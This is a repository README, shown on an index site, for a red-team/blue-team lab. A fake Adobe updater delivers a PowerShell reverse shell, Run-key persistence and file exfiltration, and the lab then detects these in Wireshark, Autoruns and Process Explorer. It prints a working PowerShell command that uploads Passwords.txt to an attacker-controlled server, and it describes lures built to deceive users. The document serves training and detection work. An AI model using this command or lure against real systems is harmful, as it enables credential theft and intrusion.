Data

Tools

Indexes

Applications

Experiments

Awesome

An open API service indexing awesome lists of open source software.

https://github.com/wirerecon/redteam-blueteam-intrusion-detection-v1

Simulated phishing-to-persistence attack using a fake Adobe updater, with full red team execution and blue team detection analysis.
https://github.com/wirerecon/redteam-blueteam-intrusion-detection-v1

autoruns blue-team incident-response intrusion-detection malware-analysis mitre-attack powershell-script process-explorer red-team soc-analyst wireshark

Last synced: 3 months ago
JSON representation

Simulated phishing-to-persistence attack using a fake Adobe updater, with full red team execution and blue team detection analysis.

Awesome Lists containing this project

README 

          
### 💀 AdobeUpdater Intrusion Lab: Red Team Attack + Blue Team Detection v1 🛡️

---



> ⚠️ This project was designed as a proof-of-concept (PoC) to showcase my understanding of both offensive and defensive security workflows. It was specifically created to demonstrate my skills to hiring managers for roles related to SOC analysis.

> It's also part of a larger series — a more advanced version using WMI persistence and multi-stage execution is currently in the works.

---

> This lab focuses on a single attack path and corresponding detection workflow. While many techniques could have been explored, this scenario was chosen to demonstrate core red team execution and blue team triage in a clear, focused, end-to-end simulation.



---



## 🧠 About This Lab



This hands-on intrusion simulation demonstrates the *full attack chain* — from execution to post-exploitation — followed by detailed detection and investigation using tools like **Wireshark**, **Autoruns**, and **Process Explorer**.



I created everything from scratch:

- The **fake Adobe Updater** dropper (`.hta` with VBScript)

- Embedded **Base64-encoded PowerShell** for a reverse shell

- **Registry persistence** and stealth icon spoofing

- A custom **Python upload server** to simulate exfiltration



  

---



## 🌌 Technical Overview



This simulation uses a **fake Adobe Updater UI** (`.hta`) that deploys:



- **PowerShell reverse shell** to a remote Netcat listener  

- **Registry Run key persistence**  

- **Stealthy VBScript execution**  

- **Decoy visuals** to enhance realism  

- **Base64 encoding and realistic icon spoofing**



---

The project directory is organized as follows:



## 📁 Project Structure

```

.

├── payload/ # HTA payload and artifacts

│ ├── AdobeUpdater.hta # Main dropper with embedded VBScript and UI

│ ├── adobe.ico # Spoofed Adobe icon

│ ├── adb1.png # Decoy loading screen

│ └── .gitkeep

├── analysis/

│ └── screenshots/ # All demo screenshots (1.png–27.png + kt1.png/kt2.png)

├── README.md

```

## 🔄 How It Works

## 🧩 The walkthrough is split into two perspectives:



### 💀 **Red Team:** Step-by-step attack execution



1. **User executes** the `.hta` payload mimicking a legitimate Adobe updater.

2. Payload runs an embedded VBScript, which:

 - **Launches a PowerShell reverse shell**

 - **Adds a `Run` registry key for persistence**

 - **Displays a fake dowonloading progress bar window to distract the user**

3. **Reverse shell is caught** by the attacker's Netcat listener.



--- 



### 🛡️ **Blue Team:** Detection and triage workflow



After simulating the attack, I pivoted to a defender’s perspective and analyzed the intrusion using:



- **Autoruns:** Detected persistence via Registry Run key  

- **Process Explorer:** Tracked the PowerShell child process  

- **Wireshark:** Captured reverse shell TCP traffic  

- **File analysis:** Verified dropped artifacts and decoy payloads  



#### The goal was to demonstrate how a SOC analyst might uncover and triage a stealthy but simple attack.

---



## 👁️ Demo Walkthrough



### 1. Attacker Prepares for Callback and File Exfiltration 



*On the attacker’s side, two terminals are opened — one to catch a reverse shell as shown in Figure 1, and


one to handle file uploads as shown in Figure 2.*


(Figure 1)


Kali Terminal: Netcat Listener


In this terminal a Netcat listener is started on port 443 for the reverse shell.


(Figure 2)


Kali Terminal: Upload Server


In this terminal, the attacker starts a Python upload server on port 8080.



---



### 2. Fake Adobe Updater

*The malicious shortcut on the desktop mimics a genuine Adobe software updater.*


(Figure 3)


![Desktop Shortcut](analysis/screenshots/2.png)
 

*When the victim clicks on the decoy updater as shown in Figure 3, a window with a fake "critical security updates" message appears.
 

Once the OK button is clicked the connection is made back to the Netcat listener as shown in Figure 6*


(Figure 4)


![Installer Popup](analysis/screenshots/3.png)  


(Figure 5)


![Progress Bar](analysis/screenshots/4.png)  

*For an added, realistic effect a fake progress bar is shown

to mask the malicious activity.*



---

### 3. Payload Execution & Reverse Shell Connection Made

*In Figure 6, we can see the attacker successfully catches the reverse shell and a connection is now established from the victim’s machine back to the attacker's Netcat listener.

Next, the attacker runs the `ls` command to list the contents of the current working directory.*


(Figure 6)


Payload connects



### 4. Attacker Navigates the File System

*In Figure 7, the attacker begins backing out of the current directory using the `cd` command repeating `cd ..` until reaching the user's home directory.

They then run the `ls` command again and spot the Documents directory witch is there target.*


(Figure 7)


Directory listing



*Figure 8 shows the attacker using the `cd` command to enter the Documents directory.*


(Figure 8)


Navigating directories



*In Figure 9, we see the attacker has successfully navigated into the Documents folder. Inside, they spot a file named Passwords.txt.*


(Figure 9)


Accessing Documents



---



### 5. Second Stage of the Attack: Uploading the File

*Now that the attacker has successfully navigated through the file system and reached the Documents directory, they’ve located the Passwords.txt file.

At this point they’re ready to begin the second stage of the attack. They’ve almost reached Step 7 of the Cyber Kill Chain — Actions on Objectives — but not quite yet.*



---

*In Figure 10, we can see the attacker preparing to use a PowerShell command with the PUT method to upload the Passwords.txt file to their Python-based upload server.*


(Figure 10)


Upload success



*Refer to **Figure 11** for how the exfiltration command is constructed.*


(Figure 11)


PowerShell Exfiltration Command Reference


Then, run the following PowerShell command to upload the `Passwords.txt` file to the attacker's Python server:

 ```powershell

powershell -c "Invoke-WebRequest -Uri http://192.168.78.129:8080/Passwords.txt -Method Put -InFile 'C:\Users\IEUser\Documents\Passwords.txt'"

# ⚠️ Make sure to update the IP address to match your attacker's listener

```

---

*In Figure 12, we return to the second terminal first mentioned in Figure 2. This is the terminal running the Python upload server on port 8080, and you'll notice it’s still idle. For this demo, the folder containing the Python script has been opened and placed at the bottom of the screen. The reason: if anything gets uploaded, we’ll see it appear here in real-time. As of now, there are only four files in the directory.*


(Figure 12)


Exfiltration command



*Next in Figure 13, after the PowerShell command from Figure 10 is run, we get a hit — the `Passwords.txt` file is displayed in the command line output. And just like we talked about in Figure 12, the folder now shows five files, one of them being `Passwords.txt,` confirming the upload was successful.*


(Figure 13)


Wireshark: TCP stream



---

## 🛡️ Defender’s Perspective: Detecting the Attack in Action



Now that we’ve followed the attacker’s full playbook — from clicking the fake Adobe updater to catching a reverse shell and exfiltrating `Passwords.txt` — let’s switch gears and step into the defender’s shoes.



This next section walks through how security analysts can spot and respond to this kind of behavior using network traffic analysis tools like Wireshark, autorun entries, and Process Explorer.



---



In **Figure 14**, we have a Wireshark capture that was running during the attack. In this screenshot, we can see a `PUT` request made for the `Passwords.txt` file — indicating possible data exfiltration over HTTP.


(Figure 14)


Wireshark: HTTP PUT



In **Figure 15**, now that we’ve confirmed a PUT request occurred, we can filter the capture to isolate it. To do this, we type the following into Wireshark’s display filter bar `http.request.method == "PUT"`

Then hit the **blue arrow** in the top-right to apply the filter.


(Figure 15)


Wireshark Focused



In **Figure 16**, we see there was only one `PUT` request made, which confirms our earlier finding — the exfiltrated file was `Passwords.txt`.


(Figure 16)


Follow Stream



Next, in **Figure 17**, if we right-click on the filtered packet and choose **Follow > HTTP Stream** (highlighted in blue). This allows us to view the entire payload of the HTTP session and validate what was transferred.


(Figure 17)


Exfiltrated Contents



In **Figure 18**, after following the HTTP stream, we can see the full contents of the `PUT` request — exposing exactly what the attacker exfiltrated.

We also see other important details, such as the server responding with a `201 Created` status, confirming a successful upload. The `User-Agent` header shows the transfer was performed using `Python/3.11.9`, pointing to Python’s built-in `http.server` module.

An internal host sending a `PUT` request over port 8080 using non-standard tools like this should raise red flags during packet inspection.


(Figure 18)


Autoruns Registry



---

### 🔍 Persistence Detection via Autoruns and Registry Analysis



In this section, we identify how the attacker achieved persistence using a registry-based autorun entry. The screenshots below walk through the detection process using Sysinternals Autoruns and the Windows Registry Editor.



---



**Figure 19** shows a suspicious autorun entry under:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`

The entry is named `AdobeTaskHelper`, but it's launching `powershell.exe` instead of a legitimate Adobe executable. This is an immediate red flag.


There is no known Adobe tool that launches via PowerShell, and the naming is clearly meant to blend in with trusted vendor software.


(Figure 19)


Registry Key Contents



Next, in **Figure 20** we can right-click the suspicious entry in Autoruns and choose **Jump to Entry** to check the corresponding registry location for validation.


(Figure 20)


Process Explorer Powershell



**Figure 21** confirms the full registry key using **Regedit**. The `AdobeTaskHelper` entry executes the following command at startup:
`powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command ...`

This PowerShell command is used to maintain persistence by silently relaunching the attacker’s reverse shell payload on system boot. Combined with the misleading name and stealthy execution, this is a textbook example of registry-based persistence via PowerShell masquerading.


(Figure 21)


Process Image Path



---

### 🔍 Process Inspection with Process Explorer



This section highlights suspicious process behavior observed using Sysinternals Process Explorer. 



---

**Figure 22** shows a suspicious `powershell.exe` process running under the user `IEUser`. This process is not expected under normal conditions and does not match any known authorized scripts.


(Figure 22)


TCP/IP Connections



**Figure 23** drills into the process properties of `powershell.exe`. The command line confirms it’s executing with


`-ExecutionPolicy Bypass -WindowStyle Hidden`, which is commonly used to evade detection. The **current directory** is also telling — it's set to:`C:\Users\IEUser\Downloads\Test Malware\AdobeUpdater\` This aligns directly with the malicious payload path.


(Figure 23)


Payload Directory



**Figure 24** shows the **TCP/IP** tab of the same process, confirming it has an active network connection to:`192.168.78.129:HTTPS`
This indicates that the PowerShell process is maintaining a live connection — supporting evidence of a reverse shell callback.


(Figure 24)


Payload Shortcut



**Figure 25** shows the PowerShell process’s working directory alongside the actual folder contents in File Explorer. The folder contains the Adobe files including the shortcut named `AdobeUpdater` — which was placed on the user’s desktop.This shortcut is what the user initially interacted with, triggering the chain of events. This visually confirms how the attack was disguised as a legitimate update and how the user was tricked into executing it.


(Figure 25)


Attacker Listener



---



## 📃 MITRE ATT&CK Mapping



| Technique         | ID         | Description                        |

|------------------|------------|------------------------------------|

| Initial Access    | T1204.002  | User Execution via HTA             |

| Execution         | T1059.001  | PowerShell                         |

| Persistence       | T1547.001  | Registry Run Key                   |

| Defense Evasion   | T1218.005  | LOLBAS via `wscript.exe`           |

| Command & Control | T1071.001  | Reverse Shell over TCP             |



---



## 🔧 Remediation and Recommendations



### 🧹 Immediate Cleanup



- **Delete the following malicious files from disk:**

 `C:\Users\IEUser\Downloads\Test Malware\AdobeUpdater\AdobeUpdater.hta`

- Any downloaded reverse shell payloads saved to `%TEMP%`

- **Remove registry-based persistence:**

  - Delete the `Run` key entry:

    `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeTaskHelper`



---



### 🔐 Credential Response



- **Passwords.txt was exfiltrated.** All credentials listed in that file must be considered compromised and changed immediately.

- Review logs to confirm there were no unauthorized logins using the compromised credentials.

- Ensure password rotation policies are enforced for both local accounts and external services.

- Investigate for signs of lateral movement or reuse of these credentials elsewhere in the environment.



---



### 🔒 System Hardening



- **Block outbound traffic** to the attacker IP: `192.168.78.129` (or any future simulation IPs).

- **Restrict execution of `.hta` and `.vbs` files** via Group Policy or application allowlisting.

- **Disable Windows Script Host (WSH)** on systems where it is not required:

 - Set the following registry key: 

   `HKLM\Software\Microsoft\Windows Script Host\Settings`

   `Enabled = 0`

 

---

## 🧪 Known Limitations (v1)



This initial version was a basic but functional proof-of-concept, focused on UI deception and reverse shell delivery using HTA + PowerShell. While the techniques were rudimentary by design, they provided a strong foundation for the more advanced payload in development.



- ❌ Base64 encoding had reliability issues in some setups  

- ❌ No AMSI bypass or evasion layers included  

- ⚠️ Persistence was basic (registry Run key only)  



> 🚧 This project is being followed up with a more advanced version using **WMI event subscriptions**, **multi-stage payloads**, and **stealthier execution methods**.



---



## 🗋 Notes



- Tested on Windows 10 with default settings

- Avoid running on production systems

- Always use in an isolated lab environment



> ⚠️ **Disclaimer:** For educational use only. Do not deploy on unauthorized systems.



---